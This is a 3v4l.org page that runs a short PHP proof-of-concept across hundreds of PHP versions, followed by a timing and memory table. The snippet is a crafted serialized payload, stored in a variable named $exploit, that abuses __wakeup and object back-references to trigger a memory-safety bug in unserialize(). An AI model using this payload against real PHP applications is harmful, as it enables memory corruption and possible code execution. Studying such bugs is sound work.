3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:0:{}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.01216.36
8.3.50.0170.00520.97
8.3.40.0070.00718.80
8.3.30.0070.00718.70
8.3.20.0000.00720.39
8.3.10.0060.00323.70
8.3.00.0040.00419.80
8.2.180.0110.00418.29
8.2.170.0070.00722.96
8.2.160.0100.00320.35
8.2.150.0040.00424.18
8.2.140.0030.00524.66
8.2.130.0080.00026.16
8.2.120.0060.00317.50
8.2.110.0060.00322.26
8.2.100.0080.00417.50
8.2.90.0040.00419.22
8.2.80.0000.00817.97
8.2.70.0030.00617.50
8.2.60.0050.00317.91
8.2.50.0030.00618.07
8.2.40.0000.00819.40
8.2.30.0080.00317.83
8.2.20.0000.00817.70
8.2.10.0040.00418.06
8.2.00.0000.00718.06
8.1.280.0140.00025.92
8.1.270.0040.00420.33
8.1.260.0060.00326.35
8.1.250.0040.00428.09
8.1.240.0050.00522.47
8.1.230.0090.00517.42
8.1.220.0030.00517.74
8.1.210.0000.00818.77
8.1.200.0000.00817.13
8.1.190.0080.00017.35
8.1.180.0060.00318.10
8.1.170.0040.00418.57
8.1.160.0040.00421.97
8.1.150.0000.00818.95
8.1.140.0080.00017.47
8.1.130.0070.00017.69
8.1.120.0000.00817.43
8.1.110.0000.00817.46
8.1.100.0000.00717.43
8.1.90.0000.00717.38
8.1.80.0080.00017.32
8.1.70.0030.00317.39
8.1.60.0030.00617.56
8.1.50.0040.00417.59
8.1.40.0000.00817.57
8.1.30.0040.00417.53
8.1.20.0070.00017.64
8.1.10.0060.00317.51
8.1.00.0050.00217.54
8.0.300.0060.00318.77
8.0.290.0000.00716.75
8.0.280.0070.00018.35
8.0.270.0070.00017.22
8.0.260.0090.00017.28
8.0.250.0070.00016.99
8.0.240.0030.00316.98
8.0.230.0000.00717.04
8.0.220.0050.00516.92
8.0.210.0040.00417.02
8.0.200.0030.00317.08
8.0.190.0080.00017.04
8.0.180.0000.00717.03
8.0.170.0000.00816.96
8.0.160.0040.00416.96
8.0.150.0070.00016.88
8.0.140.0000.00716.93
8.0.130.0060.00013.40
8.0.120.0040.00416.94
8.0.110.0040.00416.97
8.0.100.0000.00816.84
8.0.90.0000.00816.77
8.0.80.0060.00916.88
8.0.70.0050.00316.96
8.0.60.0040.00417.04
8.0.50.0040.00416.79
8.0.30.0110.00617.09
8.0.20.0150.00717.40
8.0.10.0050.00216.86
8.0.00.0080.00916.70
7.4.330.0050.00215.08
7.4.320.0060.00016.61
7.4.300.0030.00316.61
7.4.290.0040.00416.64
7.4.280.0040.00416.57
7.4.270.0000.00716.46
7.4.260.0070.00416.65
7.4.250.0040.00416.64
7.4.240.0040.00416.57
7.4.230.0070.00016.66
7.4.220.0090.00916.51
7.4.210.0050.01116.61
7.4.200.0030.00316.44
7.4.160.0080.00816.72
7.4.150.0150.00617.40
7.4.140.0120.00917.86
7.4.130.0040.01616.71
7.4.120.0120.00516.67
7.4.110.0070.01016.40
7.4.100.0040.01516.60
7.4.90.0080.00816.52
7.4.80.0100.00719.39
7.4.70.0030.01616.44
7.4.60.0130.00316.58
7.4.50.0060.00316.27
7.4.40.0070.01016.54
7.4.30.0080.01116.55
7.4.00.0060.00614.81
7.3.330.0000.00713.38
7.3.320.0000.00513.25
7.3.310.0070.00016.40
7.3.300.0000.00716.28
7.3.290.0000.00716.38
7.3.280.0070.01216.35
7.3.270.0120.00617.40
7.3.260.0060.01116.61
7.3.240.0150.00316.69
7.3.230.0150.00416.64
7.3.210.0100.00716.39
7.3.200.0080.01516.71
7.3.190.0130.00616.31
7.3.180.0080.00816.73
7.3.170.0080.00816.49
7.3.160.0130.00316.38
7.3.10.0130.00616.39
7.3.00.0110.00616.56
7.2.330.0070.01016.54
7.2.320.0060.01316.35
7.2.310.0070.01016.40
7.2.300.0070.01116.75
7.2.290.0050.01016.75
7.2.130.0080.00816.69
7.2.120.0110.00616.73
7.2.110.0080.00916.56
7.2.100.0080.01116.60
7.2.90.0090.00816.74
7.2.80.0060.01016.76
7.2.70.0170.00716.49
7.2.60.0090.00916.68
7.2.50.0120.01216.63
7.2.40.0170.00516.77
7.2.30.0120.00916.58
7.2.20.0100.01116.69
7.2.10.0120.00916.83
7.2.00.0130.00617.76
7.1.250.0110.00715.58
7.1.200.0030.00915.62
7.1.100.0000.01217.67
7.1.70.0040.00417.14
7.1.60.0030.01319.27
7.1.50.0000.02217.02
7.1.00.0130.06322.28
7.0.200.0090.00916.31
7.0.60.0070.08320.01
7.0.50.0030.08317.89
7.0.40.0070.05020.15
7.0.30.0330.07720.07
7.0.20.0270.05020.25
7.0.10.0200.04320.06
7.0.00.0130.07720.05
5.6.280.0000.03720.86
5.6.210.0000.04320.77
5.6.200.0170.06318.29
5.6.190.0100.08020.63
5.6.180.0270.08720.50
5.6.170.0300.05020.44
5.6.160.0030.05320.44
5.6.150.0030.04018.17
5.6.140.0000.09018.17
5.6.130.0200.06718.27
5.6.120.0100.06321.15
5.6.110.0200.07720.98
5.6.100.0070.07720.98
5.6.90.0100.03721.12
5.6.80.0030.08320.36
5.6.70.4500.03720.36
5.5.350.0030.04720.47
5.5.340.0070.08018.08
5.5.330.0070.07020.37
5.5.320.0470.07020.26
5.5.310.0270.07320.23
5.5.300.0100.07718.08
5.5.290.0100.07017.95
5.5.280.0100.08020.77
5.5.270.0030.04320.72
5.5.260.0030.08320.77
5.5.250.0030.04320.79
5.5.240.0130.07020.02
5.4.450.2930.04719.47
5.4.440.4030.03719.18
5.4.430.3470.04019.51
5.4.420.3230.03719.47
5.4.410.3300.03319.40
5.4.400.3230.03319.09
5.4.390.3270.04019.23
5.4.380.3300.03319.10
5.4.370.3030.03319.14
5.4.360.3030.03318.99
5.4.350.3030.03319.09
5.4.340.3200.04019.13
5.4.320.3070.04018.98
5.4.310.3170.04019.15
5.4.300.3370.04018.98
5.4.290.3330.03719.23
5.4.280.3170.03019.11
5.4.270.4130.02718.98
5.4.260.3830.05019.15
5.4.250.3470.03318.98
5.4.240.3400.03719.14
5.4.230.2830.03718.86
5.4.220.3370.03719.07
5.4.210.3100.03719.23
5.4.200.3030.04019.18
5.4.190.3130.04019.10
5.4.180.3770.04018.99
5.4.170.3430.03719.14
5.4.160.3200.03719.13
5.4.150.3400.03719.21
5.4.140.4170.04716.35
5.4.130.3300.03316.45
5.4.120.3030.04016.38
5.4.110.3330.04016.27
5.4.100.3270.03716.28
5.4.90.3430.04016.33
5.4.80.3500.03316.56

preferences:
42.38 ms | 401 KiB | 5 Q